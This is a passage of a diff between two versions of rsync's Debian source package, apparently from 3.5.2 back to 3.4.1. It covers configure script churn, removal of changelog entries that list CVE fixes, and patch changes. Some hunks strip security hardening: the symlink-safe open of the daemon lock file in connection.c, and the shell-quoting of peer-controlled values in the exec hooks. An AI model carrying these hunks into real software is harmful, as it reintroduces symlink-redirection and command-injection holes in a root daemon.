$1=\\$$1\\$2\n-  } ;;\n-esac\n+  }\n fi # as_fn_append\n \n # as_fn_arith ARG...\n@@ -13490,12 +12423,11 @@ then :\n   {\n     as_val=$(( $* ))\n   }'\n-else case e in #(\n-  e) as_fn_arith ()\n+else $as_nop\n+  as_fn_arith ()\n   {\n     as_val=`expr \"$@\" || test $? -eq 1`\n-  } ;;\n-esac\n+  }\n fi # as_fn_arith\n \n \n@@ -13578,9 +12510,9 @@ if (echo >conf$$.file) 2>/dev/null; then\n   if ln -s conf$$.file conf$$ 2>/dev/null; then\n     as_ln_s='ln -s'\n     # ... but there are two gotchas:\n-    # 1) On MSYS, both 'ln -s file dir' and 'ln file dir' fail.\n-    # 2) DJGPP < 2.04 has no symlinks; 'ln -s' creates a wrapper executable.\n-    # In both cases, we have to default to 'cp -pR'.\n+    # 1) On MSYS, both `ln -s file dir' and `ln file dir' fail.\n+    # 2) DJGPP < 2.04 has no symlinks; `ln -s' creates a wrapper executable.\n+    # In both cases, we have to default to `cp -pR'.\n     ln -s conf$$.file conf$$.dir 2>/dev/null && test ! -f conf$$.exe ||\n       as_ln_s='cp -pR'\n   elif ln conf$$.file conf$$ 2>/dev/null; then\n@@ -13661,12 +12593,10 @@ as_test_x='test -x'\n as_executable_p=as_fn_executable_p\n \n # Sed expression to map a string onto a valid CPP name.\n-as_sed_cpp=\"y%*$as_cr_letters%P$as_cr_LETTERS%;s%[^_$as_cr_alnum]%_%g\"\n-as_tr_cpp=\"eval sed '$as_sed_cpp'\" # deprecated\n+as_tr_cpp=\"eval sed 'y%*$as_cr_letters%P$as_cr_LETTERS%;s%[^_$as_cr_alnum]%_%g'\"\n \n # Sed expression to map a string onto a valid variable name.\n-as_sed_sh=\"y%*+%pp%;s%[^_$as_cr_alnum]%_%g\"\n-as_tr_sh=\"eval sed '$as_sed_sh'\" # deprecated\n+as_tr_sh=\"eval sed 'y%*+%pp%;s%[^_$as_cr_alnum]%_%g'\"\n \n \n exec 6>&1\n@@ -13682,7 +12612,7 @@ cat >>$CONFIG_STATUS <<\\_ACEOF || ac_write_fail=1\n # values after options handling.\n ac_log=\"\n This file was extended by rsync $as_me, which was\n-generated by GNU Autoconf 2.72.  Invocation command line was\n+generated by GNU Autoconf 2.71.  Invocation command line was\n \n   CONFIG_FILES    = $CONFIG_FILES\n   CONFIG_HEADERS  = $CONFIG_HEADERS\n@@ -13713,7 +12643,7 @@ _ACEOF\n \n cat >>$CONFIG_STATUS <<\\_ACEOF || ac_write_fail=1\n ac_cs_usage=\"\\\n-'$as_me' instantiates files and other configuration actions\n+\\`$as_me' instantiates files and other configuration actions\n from templates according to the current configuration.  Unless the files\n and actions are specified as TAGs, all are instantiated by default.\n \n@@ -13746,10 +12676,10 @@ cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1\n ac_cs_config='$ac_cs_config_escaped'\n ac_cs_version=\"\\\\\n rsync config.status\n-configured by $0, generated by GNU Autoconf 2.72,\n+configured by $0, generated by GNU Autoconf 2.71,\n   with options \\\\\"\\$ac_cs_config\\\\\"\n \n-Copyright (C) 2023 Free Software Foundation, Inc.\n+Copyright (C) 2021 Free Software Foundation, Inc.\n This config.status script is free software; the Free Software Foundation\n gives unlimited permission to copy, distribute and modify it.\"\n \n@@ -13811,8 +12741,8 @@ do\n     ac_need_defaults=false;;\n   --he | --h)\n     # Conflict between --help and --header\n-    as_fn_error $? \"ambiguous option: '$1'\n-Try '$0 --help' for more information.\";;\n+    as_fn_error $? \"ambiguous option: \\`$1'\n+Try \\`$0 --help' for more information.\";;\n   --help | --hel | -h )\n     printf \"%s\\n\" \"$ac_cs_usage\"; exit ;;\n   -q | -quiet | --quiet | --quie | --qui | --qu | --q \\\n@@ -13820,8 +12750,8 @@ Try '$0 --help' for more information.\";;\n     ac_cs_silent=: ;;\n \n   # This is an error.\n-  -*) as_fn_error $? \"unrecognized option: '$1'\n-Try '$0 --help' for more information.\" ;;\n+  -*) as_fn_error $? \"unrecognized option: \\`$1'\n+Try \\`$0 --help' for more information.\" ;;\n \n   *) as_fn_append ac_config_targets \" $1\"\n      ac_need_defaults=false ;;\n@@ -13876,7 +12806,7 @@ do\n     \"popt/dummy\") CONFIG_FILES=\"$CONFIG_FILES popt/dummy\" ;;\n     \"shconfig\") CONFIG_FILES=\"$CONFIG_FILES shconfig\" ;;\n \n-  *) as_fn_error $? \"invalid argument: '$ac_config_target'\" \"$LINENO\" 5;;\n+  *) as_fn_error $? \"invalid argument: \\`$ac_config_target'\" \"$LINENO\" 5;;\n   esac\n done\n \n@@ -13895,7 +12825,7 @@ fi\n # creating and moving files from /tmp can sometimes cause problems.\n # Hook for its removal unless debugging.\n # Note that there is a small window in which the directory will not be cleaned:\n-# after its creation but before its name has been assigned to '$tmp'.\n+# after its creation but before its name has been assigned to `$tmp'.\n $debug ||\n {\n   tmp= ac_tmp=\n@@ -13919,7 +12849,7 @@ ac_tmp=$tmp\n \n # Set up the scripts for CONFIG_FILES section.\n # No need to generate them if there are no CONFIG_FILES.\n-# This happens for instance with './config.status config.h'.\n+# This happens for instance with `./config.status config.h'.\n if test -n \"$CONFIG_FILES\"; then\n \n \n@@ -14077,13 +13007,13 @@ fi # test -n \"$CONFIG_FILES\"\n \n # Set up the scripts for CONFIG_HEADERS section.\n # No need to generate them if there are no CONFIG_HEADERS.\n-# This happens for instance with './config.status Makefile'.\n+# This happens for instance with `./config.status Makefile'.\n if test -n \"$CONFIG_HEADERS\"; then\n cat >\"$ac_tmp/defines.awk\" <<\\_ACAWK ||\n BEGIN {\n _ACEOF\n \n-# Transform confdefs.h into an awk script 'defines.awk', embedded as\n+# Transform confdefs.h into an awk script `defines.awk', embedded as\n # here-document in config.status, that substitutes the proper values into\n # config.h.in to produce config.h.\n \n@@ -14193,7 +13123,7 @@ do\n   esac\n   case $ac_mode$ac_tag in\n   :[FHL]*:*);;\n-  :L* | :C*:*) as_fn_error $? \"invalid tag '$ac_tag'\" \"$LINENO\" 5;;\n+  :L* | :C*:*) as_fn_error $? \"invalid tag \\`$ac_tag'\" \"$LINENO\" 5;;\n   :[FH]-) ac_tag=-:-;;\n   :[FH]*) ac_tag=$ac_tag:$ac_tag.in;;\n   esac\n@@ -14215,19 +13145,19 @@ do\n       -) ac_f=\"$ac_tmp/stdin\";;\n       *) # Look for the file first in the build tree, then in the source tree\n \t # (if the path is not absolute).  The absolute path cannot be DOS-style,\n-\t # because $ac_f cannot contain ':'.\n+\t # because $ac_f cannot contain `:'.\n \t test -f \"$ac_f\" ||\n \t   case $ac_f in\n \t   [\\\\/$]*) false;;\n \t   *) test -f \"$srcdir/$ac_f\" && ac_f=\"$srcdir/$ac_f\";;\n \t   esac ||\n-\t   as_fn_error 1 \"cannot find input file: '$ac_f'\" \"$LINENO\" 5;;\n+\t   as_fn_error 1 \"cannot find input file: \\`$ac_f'\" \"$LINENO\" 5;;\n       esac\n       case $ac_f in *\\'*) ac_f=`printf \"%s\\n\" \"$ac_f\" | sed \"s/'/'\\\\\\\\\\\\\\\\''/g\"`;; esac\n       as_fn_append ac_file_inputs \" '$ac_f'\"\n     done\n \n-    # Let's still pretend it is 'configure' which instantiates (i.e., don't\n+    # Let's still pretend it is `configure' which instantiates (i.e., don't\n     # use $as_me), people would be surprised to read:\n     #    /* config.h.  Generated by config.status.  */\n     configure_input='Generated from '`\n@@ -14360,7 +13290,7 @@ cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1\n esac\n _ACEOF\n \n-# Neutralize VPATH when '$srcdir' = '.'.\n+# Neutralize VPATH when `$srcdir' = `.'.\n # Shell code in configure.ac might set extrasub.\n # FIXME: do we really want to maintain this feature?\n cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1\n@@ -14391,9 +13321,9 @@ test -z \"$ac_datarootdir_hack$ac_datarootdir_seen\" &&\n   { ac_out=`sed -n '/\\${datarootdir}/p' \"$ac_tmp/out\"`; test -n \"$ac_out\"; } &&\n   { ac_out=`sed -n '/^[\t ]*datarootdir[\t ]*:*=/p' \\\n       \"$ac_tmp/out\"`; test -z \"$ac_out\"; } &&\n-  { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: WARNING: $ac_file contains a reference to the variable 'datarootdir'\n+  { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: WARNING: $ac_file contains a reference to the variable \\`datarootdir'\n which seems to be undefined.  Please make sure it is defined\" >&5\n-printf \"%s\\n\" \"$as_me: WARNING: $ac_file contains a reference to the variable 'datarootdir'\n+printf \"%s\\n\" \"$as_me: WARNING: $ac_file contains a reference to the variable \\`datarootdir'\n which seems to be undefined.  Please make sure it is defined\" >&2;}\n \n   rm -f \"$ac_tmp/stdin\"\ndiff --git a/connection.c b/connection.c\nindex a5ca19f..1039115 100644\n--- a/connection.c\n+++ b/connection.c\n@@ -30,9 +30,7 @@ int claim_connection(char *fname, int max_connections)\n \tif (max_connections == 0)\n \t\treturn 1;\n \n-\t/* 'lock file = PATH': refuse symlinks not owned by uid 0 or our euid so\n-\t * a planted parent can't redirect the root daemon's O_CREAT open. */\n-\tif ((fd = open_no_attacker_symlinks(fname, O_RDWR|O_CREAT, 0600)) < 0)\n+\tif ((fd = open(fname, O_RDWR|O_CREAT, 0600)) < 0)\n \t\treturn 0;\n \n \t/* Find a free spot. */\ndiff --git a/daemon-parm.awk b/daemon-parm.awk\nindex 6951efb..ad52e9d 100755\n--- a/daemon-parm.awk\n+++ b/daemon-parm.awk\n@@ -6,7 +6,7 @@\n BEGIN {\n     heading = \"/* DO NOT EDIT THIS FILE!  It is auto-generated from a list of values in \" ARGV[1] \"! */\\n\\n\"\n     sect = psect = defines = accessors = prior_ptype = \"\"\n-    parms = \"\\nstatic const struct parm_struct parm_table[] = {\"\n+    parms = \"\\nstatic struct parm_struct parm_table[] = {\"\n     comment_fmt = \"\\n/********** %s **********/\\n\"\n     tdstruct = \"typedef struct {\"\n }\n@@ -84,14 +84,7 @@ BEGIN {\n     defines = defines \"\\t\" vtype \" \" name \";\\n\"\n     values = values \"\\t\" $0 \", /* \" name \" */\\n\"\n     parms = parms \" {\\\"\" pubname \"\\\", P_\" ptype psect name \", \" enum \", 0},\\n\"\n-    # The shell-executed hook params (whose %RSYNC_*% expansion is fed to\n-    # /bin/sh) use the _SHELL accessor, which single-quotes peer-controlled\n-    # values to prevent injection.  Ordinary string params must NOT quote --\n-    # it would corrupt a documented `path = /home/%RSYNC_USER_NAME%` etc.\n-    if (atype == \"STRING\" && (name == \"early_exec\" || name == \"prexfer_exec\" || name == \"postxfer_exec\" || name == \"name_converter\"))\n-\taccessors = accessors \"FN_\" sect \"_STRING_SHELL(lp_\" name \", \" name \")\\n\"\n-    else\n-\taccessors = accessors \"FN_\" sect \"_\" atype \"(lp_\" name \", \" name \")\\n\"\n+    accessors = accessors \"FN_\" sect \"_\" atype \"(lp_\" name \", \" name \")\\n\"\n \n     if (vtype == \"char*\") {\n \texps = exps \"\\tBOOL \" name \"_EXP;\\n\"\ndiff --git a/daemon-parm.txt b/daemon-parm.txt\nindex 573ffa8..6903417 100644\n--- a/daemon-parm.txt\n+++ b/daemon-parm.txt\n@@ -6,7 +6,6 @@ STRING\tdaemon_gid\t\tNULL\n STRING\tdaemon_uid\t\tNULL\n STRING\tmotd_file\t\tNULL\n STRING\tpid_file\t\tNULL\n-STRING\tproxy_protocol_hosts\tNULL\n STRING\tsocket_options\t\tNULL\n \n INTEGER\tlisten_backlog\t\t5\n@@ -16,7 +15,6 @@ BOOL\tproxy_protocol\t\tFalse\n \n Locals: =================================================================\n \n-STRING\tauth_digest\t\tNULL\n STRING\tauth_users\t\tNULL\n STRING\tcharset\t\t\tNULL\n STRING\tcomment\t\t\tNULL\n@@ -57,7 +55,6 @@ BOOL\tfake_super\t\tFalse\n BOOL\tforward_lookup\t\tTrue\n BOOL\tignore_errors\t\tFalse\n BOOL\tignore_nonreadable\tFalse\n-BOOL\tinsecure_links\t\tFalse\n BOOL\tlist\t\t\tTrue\n BOOL\tread_only\t\tTrue\n BOOL\treverse_lookup\t\tTrue\ndiff --git a/debian/changelog b/debian/changelog\nindex b954970..9913f41 100644\n--- a/debian/changelog\n+++ b/debian/changelog\n@@ -1,209 +1,3 @@\n-rsync (3.5.2+ds1-2) unstable; urgency=medium\n-\n-  * d/rules, d/tests: Skip the aligned_overflow test on riscv64, as it walks\n-    a 2 GiB file byte by byte and times out on the buildds (closes: #1153316)\n-\n- -- Samuel Henrique <samueloph@debian.org>  Sat, 07 Nov 2026 15:45:30 -0800\n-\n-rsync (3.5.2+ds1-1) unstable; urgency=medium\n-\n-  * New upstream version 3.5.2+ds1\n-  * Fix CVE-2026-119741: a malicious receiver can supply weak checksums which\n-    collide with consecutive rolling windows and make the sender calculate a\n-    full strong checksum at every byte offset. Repeating this across public\n-    daemon connections can exhaust host CPU. Thanks to Dianne Skoll for\n-    reporting the Debian bug (closes: #1149604).\n-\n- -- Samuel Henrique <samueloph@debian.org>  Tue, 03 Nov 2026 22:53:12 -0800\n-\n-rsync (3.5.1+ds1-2) unstable; urgency=medium\n-\n-  [ Colin Watson ]\n-  * Add test dependency on openssh-client (Closes: #1146469)\n-\n- -- Samuel Henrique <samueloph@debian.org>  Wed, 14 Oct 2026 19:28:19 -0700\n-\n-rsync (3.5.1+ds1-1) unstable; urgency=medium\n-\n-  * New upstream version 3.5.1+ds1\n-  * d/control: Add new B-D libidn2-dev to enable IDN support\n-  * d/u/signing-key.asc: Releases are now signed by Zen Dodd\n-  * d/p/patches: Drop upstream-applied patches:\n-    - Fix_ENOENT_when_resolving_kernel_pseudo_paths_in_ona_open_patch\n-    - Fix_handling_of_dev_std_in_out_err_pseudo-paths_and_namespace_overflow...\n-    - Honor_STRIP_in_install-strip_for_cross-compilation.patch\n-    - batch_c_Allow_FIFO_pipes_in_batch_file_processing.patch\n-    - options_accept_max_alloc_0_again_resolved_to_the_parsers_own_ceiling.patch\n-    - rrsync_support_fd_pins_in_user_namespaces.patch\n-    - syscall_explain_untrusted_symlink_refusal.patch\n-    - testsuite_bound_the_unshare_probe.patch\n-    - testsuite_interpose_lfs_open_symbols.patch\n-    - testsuite_make_basis_xname_oracle_deterministic.patch\n-    - testsuite_punch_granularity_guard.patch\n-\n- -- Samuel Henrique <samueloph@debian.org>  Tue, 22 Sep 2026 22:44:37 -0700\n-\n-rsync (3.5.0+ds1-3) unstable; urgency=medium\n-\n-  * d/rsync.NEWS: Document the behaviours changed by the new patches\n-  * Pull five new patches to address regressions from 3.5.0:\n-    - Fix_ENOENT_when_resolving...: Fix the regression where a filter or file\n-      list given through shell process substitution, such as\n-      --exclude-from=<(...), failed with \"No such file or directory\" because\n-      /dev/fd/N points to a pipe rather than a file (upstream #1053)\n-    - batch_c_Allow_FIFO_pipes...: Fix the regression where --read-batch=<(...)\n-      was refused with \"Batch file is not a regular file\", as FIFOs were\n-      rejected along with devices and sockets\n-    - options_accept_max_alloc_0...: Accept --max-alloc=0 again, now resolved to\n-      the largest limit the build supports rather than disabling the\n-      per-allocation cap, so backup jobs relying on it no longer have to guess\n-      an explicit size (upstream #1056)\n-    - syscall_explain_untrusted...: Pull patch to say why a path is refused when\n-      a symlink component is owned by an untrusted user, instead of only\n-      reporting \"Too many levels of symbolic links\" (upstream #1067)\n-    - d/p/Fix_handling_of_dev_std_in_out_err...: Fix handling of\n-      /dev/std{in,out,err} pseudo-paths (upstream #1083)\n-\n- -- Samuel Henrique <samueloph@debian.org>  Mon, 07 Sep 2026 21:13:20 -0700\n-\n-rsync (3.5.0+ds1-2) unstable; urgency=medium\n-\n-  * d/rsync.NEWS: Fix date in latest entry\n-  * d/p/testsuite_make_basis_xname...: Pull patch to fix the hurd-i386 FTBFS\n-  * d/p/testsuite_interpose_lfs...: New patch to fix the i386 and alpha FTBFS\n-  * d/p/testsuite_punch_granularity...: New patch to fix the loong64 FTBFS\n-\n- -- Samuel Henrique <samueloph@debian.org>  Tue, 18 Aug 2026 20:48:16 -0700\n-\n-rsync (3.5.0+ds1-1) unstable; urgency=medium\n-\n-  [ Sylvain Beucler ]\n-  * autopkgtest improvements\n-  * Drop allow-stderr autopkgtest restriction\n-\n-  [ Samuel Henrique ]\n-  * New upstream version 3.5.0+ds1, fixing 33 CVEs:\n-    - CVE-2026-53783: rrsync restricted-directory escape\n-      (validation-vs-exec race + unsafe option allowlist)\n-    - CVE-2026-53784: Daemon module-root chdir escape under \"use chroot =\n-      no\"\n-    - CVE-2026-53785: --relative implied-parent creation escapes the\n-      destination tree\n-    - CVE-2026-53786: Daemon --filter merge file bypasses the module filter\n-      list\n-    - CVE-2026-53788: Daemon name-converter accepts newline-bearing names\n-      into its line protocol\n-    - CVE-2026-53789: Malicious sender expands --delete scope by\n-      reclassifying an implied parent\n-    - CVE-2026-53790: Command / argument injection via unquoted peer- or\n-      host-controlled values\n-    - CVE-2026-53791: PROXY-protocol mode lets a direct client spoof the\n-      daemon's source address\n-    - CVE-2026-53792: Receiver-supplied zero checksum block length drives\n-      sender matching negative\n-    - CVE-2026-53793: Chroot \"/./\" inner-module escape via a\n-      parent-component symlink\n-    - CVE-2026-53794: Remote peer disables the per-allocation sanity cap\n-      via --max-alloc=0\n-    - CVE-2026-53795: Receiver write escape via an absolute --temp-dir /\n-      --link-dest disabling rename/link confinement\n-    - CVE-2026-53796: Non-daemon receiver destination-chdir symlink race\n-      (TOCTOU)\n-    - CVE-2026-53797: Sender source-tree parent-component symlink race ->\n-      out-of-tree disclosure\n-    - CVE-2026-53798: Daemon name-converter empty response maps an unknown\n-      name to uid/gid 0\n-    - CVE-2026-53799: Receiver ACL/xattr application follows a symlink-race\n-      -> arbitrary ACL set (local privilege escalation)\n-    - CVE-2026-53800: Sender --remove-source-files unlink follows a\n-      parent-component symlink race -> arbitrary file deletion outside the\n-      source tree\n-    - CVE-2026-53801: Sender/daemon directory-scan enumeration escapes the\n-      transfer root / module -> out-of-tree disclosure\n-    - CVE-2026-53802: Arbitrary file read / transfer-shaping via symlinked\n-      operator-supplied input files\n-    - CVE-2026-53803: Arbitrary file write / privilege escalation via\n-      symlinked operator-supplied output paths\n-    - CVE-2026-70452: `hosts deny` fails OPEN when a configured hostname\n-      cannot be resolved, admitting the host it was meant to block\n-    - CVE-2026-70453: Quadratic CPU exhaustion in hash_search() from a\n-      crafted equal-weak-checksum chain\n-    - CVE-2026-70454: rsync-ssl establishes an unauthenticated TLS\n-      connection (no CA verification; no stunnel hostname binding)\n-    - CVE-2026-70455: Peer-controlled Zstandard worker exhaustion on an\n-      rsync daemon\n-    - CVE-2026-70456: Remote out-of-bounds heap write in read_args() when\n-      the argument count lands exactly on maxargs\n-    - CVE-2026-70457: Attacker-chosen-offset write in parse_size_arg()\n-      error formatting\n-    - CVE-2026-70458: Out-of-bounds write from a FLAG_HLINKED file entry\n-      accepted without -H\n-    - CVE-2026-70459: Per-connection daemon child crash from a crafted\n-      first incremental file list with a non-directory transfer root\n-    - CVE-2026-70460: Daemon module-root escape through a peer-supplied\n-      --partial-dir / --backup-dir resolving via an in-module symlink\n-    - CVE-2026-70461: Peer-driven one-byte heap out-of-bounds write in\n-      add_implied_include()\n-    - CVE-2026-70462: Peer-supplied MSG_IO_TIMEOUT defeats the client's own\n-      I/O timeout (signed overflow, and a non-positive value)\n-    - CVE-2026-70463: \"auth users\" ignores documented comma-only parsing,\n-      silently skipping a deny/read-only rule\n-    - CVE-2026-70464: Unauthenticated pre-transfer handshake DoS locks out\n-      an rsync daemon module\n-  * d/p/skip_devices_test_non_linux.patch: Drop patch applied upstream\n-  * d/patches:\n-     - Pull 3 patches for regression fixes:\n-       ~ Honor_STRIP_in_install-strip_for_cross-compilation.patch\n-       ~ rrsync_support_fd_pins_in_user_namespaces.patch\n-       ~ testsuite_bound_the_unshare_probe.patch\n-  * d/rsync.NEWS: Add a NEWS entry about all the behavior changes\n-\n- -- Samuel Henrique <samueloph@debian.org>  Sun, 16 Aug 2026 11:00:00 -0700\n-\n-rsync (3.4.4+ds1-1) unstable; urgency=medium\n-\n-  * New upstream version 3.4.4+ds1\n-\n- -- Samuel Henrique <samueloph@debian.org>  Sun, 07 Jun 2026 22:07:25 -0700\n-\n-rsync (3.4.3+ds1-2) unstable; urgency=high\n-\n-  * d/t/upstream-tests: Build t_chmod_secure and t_secure_relpath\n-\n- -- Samuel Henrique <samueloph@debian.org>  Tue, 19 May 2026 18:23:33 -0700\n-\n-rsync (3.4.3+ds1-1) unstable; urgency=high\n-\n-  * New upstream version 3.4.3+ds1\n-  * d/p/syscall_use_openat2...: Drop merged patch\n-\n- -- Samuel Henrique <samueloph@debian.org>  Tue, 19 May 2026 17:47:34 -0700\n-\n-rsync (3.4.2+ds1-2) unstable; urgency=medium\n-\n-  * d/p/syscall_use_openat2...: New patch to fix symlink handling on the\n-    receiver (closes: #1093160)\n-\n- -- Samuel Henrique <samueloph@debian.org>  Thu, 30 Apr 2026 09:50:10 -0300\n-\n-rsync (3.4.2+ds1-1) unstable; urgency=medium\n-\n-  [ Samuel Henrique ]\n-  * New upstream version 3.4.2+ds1\n-    - Fix CVE-2026-41035 (closes: #1134617)\n-  * Drop patches merged upstream.\n-     - fix-flaky-hardlinks-test.patch\n-     - reproducible-build.patch\n-     - gcc_15.patch\n-     - CVE-2025-10158.patch\n-  * d/copyright: runtests.sh was refactored to runtests.py\n-  * d/t/upstream-tests: runtests.sh was refactored to runtests.py\n-\n-  [ Alexandre Detiste ]\n-  * delete d/rules-pre-dh that shows up on Debian Code Search\n-\n- -- Samuel Henrique <samueloph@debian.org>  Wed, 29 Apr 2026 11:58:29 -0300\n-\n rsync (3.4.1+ds1-7) unstable; urgency=medium\n \n   * Team upload.\ndiff --git a/debian/control b/debian/control\nindex 1ecdf4f..4b9740e 100644\n--- a/debian/control\n+++ b/debian/control\n@@ -11,7 +11,6 @@ Build-Depends: debhelper-compat (= 13),\n                libzstd-dev (>= 1.4),\n                zlib1g-dev,\n                libssl-dev,\n-               libidn2-dev,\n                python3:native,\n                python3-cmarkgfm:native,\n                acl <!nocheck>,\ndiff --git a/debian/copyright b/debian/copyright\nindex a557783..9e286b7 100644\n--- a/debian/copyright\n+++ b/debian/copyright\n@@ -218,10 +218,9 @@ Files: testsuite/daemon-gzip-download.test\n Copyright: 2001, 2002 Martin Pool <mbp@samba.org>\n License: GPL-2+\n \n-Files: runtests.py\n+Files: runtests.sh\n Copyright: 2001, 2002 Martin Pool <mbp@samba.org>\n-           2003-2022 Wayne Davison\n-           2026 Andrew Tridgell\n+           2003-2022 Wayne Davison <wayne@opencoder.net>\n License: GPL-2\n \n Files: testsuite/rsync.fns\ndiff --git a/debian/patches/CVE-2025-10158.patch b/debian/patches/CVE-2025-10158.patch\nnew file mode 100644\nindex 0000000..7d9342f\n--- /dev/null\n+++ b/debian/patches/CVE-2025-10158.patch\n@@ -0,0 +1,28 @@\n+From: Andrew Tridgell <andrew@tridgell.net>\n+Date: Sat, 23 Aug 2025 17:26:53 +1000\n+Subject: fixed an invalid access to files array\n+Origin: upstream, https://github.com/RsyncProject/rsync/commit/797e17fc4a6f15e3b1756538a9f812b63942686f\n+Bug: https://github.com/RsyncProject/rsync/pull/794\n+\n+this was found by Calum Hutton from Rapid7. It is a real bug, but\n+analysis shows it can't be leverged into an exploit. Worth fixing\n+though.\n+\n+Many thanks to Calum and Rapid7 for finding and reporting this\n+---\n+ sender.c | 2 ++\n+ 1 file changed, 2 insertions(+)\n+\n+diff --git a/sender.c b/sender.c\n+index a4d46c3..b1588b7 100644\n+--- a/sender.c\n++++ b/sender.c\n+@@ -262,6 +262,8 @@ void send_files(int f_in, int f_out)\n+ \n+ \t\tif (ndx - cur_flist->ndx_start >= 0)\n+ \t\t\tfile = cur_flist->files[ndx - cur_flist->ndx_start];\n++\t\telse if (cur_flist->parent_ndx < 0)\n++\t\t\texit_cleanup(RERR_PROTOCOL);\n+ \t\telse\n+ \t\t\tfile = dir_flist->files[cur_flist->parent_ndx];\n+ \t\tif (F_PATHNAME(file)) {\ndiff --git a/debian/patches/disable_reconfigure_req.diff b/debian/patches/disable_reconfigure_req.diff\nindex cac4bc1..41f0740 100644\n--- a/debian/patches/disable_reconfigure_req.diff\n+++ b/debian/patches/disable_reconfigure_req.diff\n@@ -10,10 +10,10 @@ Forwarded: not-needed\n  1 file changed, 20 deletions(-)\n \n diff --git a/Makefile.in b/Makefile.in\n-index 801e864..813c0b2 100644\n+index 7c75c26..96d7d3a 100644\n --- a/Makefile.in\n +++ b/Makefile.in\n-@@ -285,15 +285,6 @@ configure.sh config.h.in: configure.ac aclocal.m4\n+@@ -204,15 +204,6 @@ configure.sh config.h.in: configure.ac aclocal.m4\n  \telse \\\n  \t    echo \"config.h.in has CHANGED.\"; \\\n  \tfi\n@@ -29,7 +29,7 @@ index 801e864..813c0b2 100644\n  \n  .PHONY: reconfigure\n  reconfigure: configure.sh\n-@@ -307,17 +298,6 @@ restatus:\n+@@ -226,17 +217,6 @@ restatus:\n  Makefile: Makefile.in config.status configure.sh config.h.in\n  \t@if test -f Makefile; then cp -p Makefile Makefile.old; else touch Makefile.old; fi\n  \t@./config.status\ndiff --git a/debian/patches/env_shebang.patch b/debian/patches/env_shebang.patch\nindex e4b5cde..9ab41f1 100644\n--- a/debian/patches/env_shebang.patch\n+++ b/debian/patches/env_shebang.patch\n@@ -32,7 +32,7 @@ index e71818c..0bdf78e 100755\n  # that the code in options.c might send to the server.  The resulting code is then\n  # included in the rrsync script.\n diff --git a/rsync-ssl b/rsync-ssl\n-index 8aa2ae6..3880f99 100755\n+index 56ee7df..d76f0ab 100755\n --- a/rsync-ssl\n +++ b/rsync-ssl\n @@ -1,4 +1,4 @@\n@@ -82,7 +82,7 @@ index a47d7f8..bb5c3a8 100755\n  # directives that can be used by rsync to copy just the indicated files using\n  # an --exclude-from=FILE or -f'. FILE' option. To be able to delete files on\n diff --git a/support/git-set-file-times b/support/git-set-file-times\n-index 23fdbd1..20d613f 100755\n+index e06f073..56d4ba0 100755\n --- a/support/git-set-file-times\n +++ b/support/git-set-file-times\n @@ -1,4 +1,4 @@\n@@ -90,7 +90,7 @@ index 23fdbd1..20d613f 100755\n +#!/usr/bin/python3\n  \n  import os, re, argparse, subprocess\n- from datetime import datetime, timezone\n+ from datetime import datetime\n diff --git a/support/logfilter b/support/logfilter\n index 29cfe69..282914a 100755\n --- a/support/logfilter\n@@ -132,7 +132,7 @@ index e7a5474..cfb0c40 100755\n  # \"/rsyncd-munged/\" or remove that prefix.\n  \n diff --git a/support/rrsync b/support/rrsync\n-index e114570..13549a1 100755\n+index e8b0cc0..d3ccd48 100755\n --- a/support/rrsync\n +++ b/support/rrsync\n @@ -1,4 +1,4 @@\n@@ -142,7 +142,7 @@ index e114570..13549a1 100755\n  # Restricts rsync to subdirectory declared in .ssh/authorized_keys.  See\n  # the rrsync man page for details of how to make use of this script.\n diff --git a/support/rsync-no-vanished b/support/rsync-no-vanished\n-index 892c90b..8da38e7 100755\n+index b31a5d2..c85d488 100755\n --- a/support/rsync-no-vanished\n +++ b/support/rsync-no-vanished\n @@ -1,4 +1,4 @@\ndiff --git a/debian/patches/fix-flaky-hardlinks-test.patch b/debian/patches/fix-flaky-hardlinks-test.patch\nnew file mode 100644\nindex 0000000..4f88d78\n--- /dev/null\n+++ b/debian/patches/fix-flaky-hardlinks-test.patch\n@@ -0,0 +1,60 @@\n+From: Arnaud Rebillout <arnaudr@kali.org>\n+Date: Thu, 6 Mar 2025 10:54:05 +0700\n+Subject: Fix flaky hardlinks test\n+\n+The test was added in dc34990, it turns out that it's flaky. It failed\n+once on the Debian build infra, cf. [1].\n+\n+The problem is that the command `rsync -aH '$fromdir/sym' '$todir'`\n+updates the mod time of `$todir`, so there might be a diff between the\n+output of `rsync_ls_lR $fromdir` and `rsync_ls_lR $todir`, if ever rsync\n+runs 1 second (or more) after the directories were created.\n+\n+To clarify: it's easy to make the test fails 100% of the times with this\n+change:\n+\n+```\n+ makepath \"$fromdir/sym\" \"$todir\"\n++sleep 5\n+ checkit \"$RSYNC -aH '$fromdir/sym' '$todir'\" \"$fromdir\" \"$todir\"\n+```\n+\n+With the fix proposed here, we don't use `checkit` anymore, instead we\n+just run the rsync command, then a simple `diff` to compare the two\n+directories. This is exactly what the other `-H` test just above does.\n+\n+In case there's some doubts, `diff` fails if `sym` is missing:\n+\n+```\n+$ mkdir -p foo/sym bar\n+$ diff foo bar || echo KO!\n+Only in foo: sym\n+KO!\n+```\n+\n+I tested that, after this commit, the test still catches the `-H`\n+regression in rsync 3.4.0.\n+\n+Fixes: https://github.com/RsyncProject/rsync/issues/735\n+\n+[1]: https://buildd.debian.org/status/fetch.php?pkg=rsync&arch=ppc64el&ver=3.4.1%2Bds1-1&stamp=1741147156&raw=0\n+\n+Forwarded: https://github.com/RsyncProject/rsync/pull/737\n+---\n+ testsuite/hardlinks.test | 3 ++-\n+ 1 file changed, 2 insertions(+), 1 deletion(-)\n+\n+diff --git a/testsuite/hardlinks.test b/testsuite/hardlinks.test\n+index 68fd270..c02db3f 100644\n+--- a/testsuite/hardlinks.test\n++++ b/testsuite/hardlinks.test\n+@@ -81,7 +81,8 @@ diff $diffopt \"$name1\" \"$todir\" || test_fail \"solo copy of name1 failed\"\n+ # enabled (this has broken in 3.4.0 so far, so we need this test).\n+ rm -rf \"$fromdir\" \"$todir\"\n+ makepath \"$fromdir/sym\" \"$todir\"\n+-checkit \"$RSYNC -aH '$fromdir/sym' '$todir'\" \"$fromdir\" \"$todir\"\n++$RSYNC -aH \"$fromdir/sym\" \"$todir\"\n++diff $diffopt \"$fromdir\" \"$todir\" || test_fail \"solo copy of sym failed\"\n+ \n+ # The script would have aborted on error, so getting here means we've 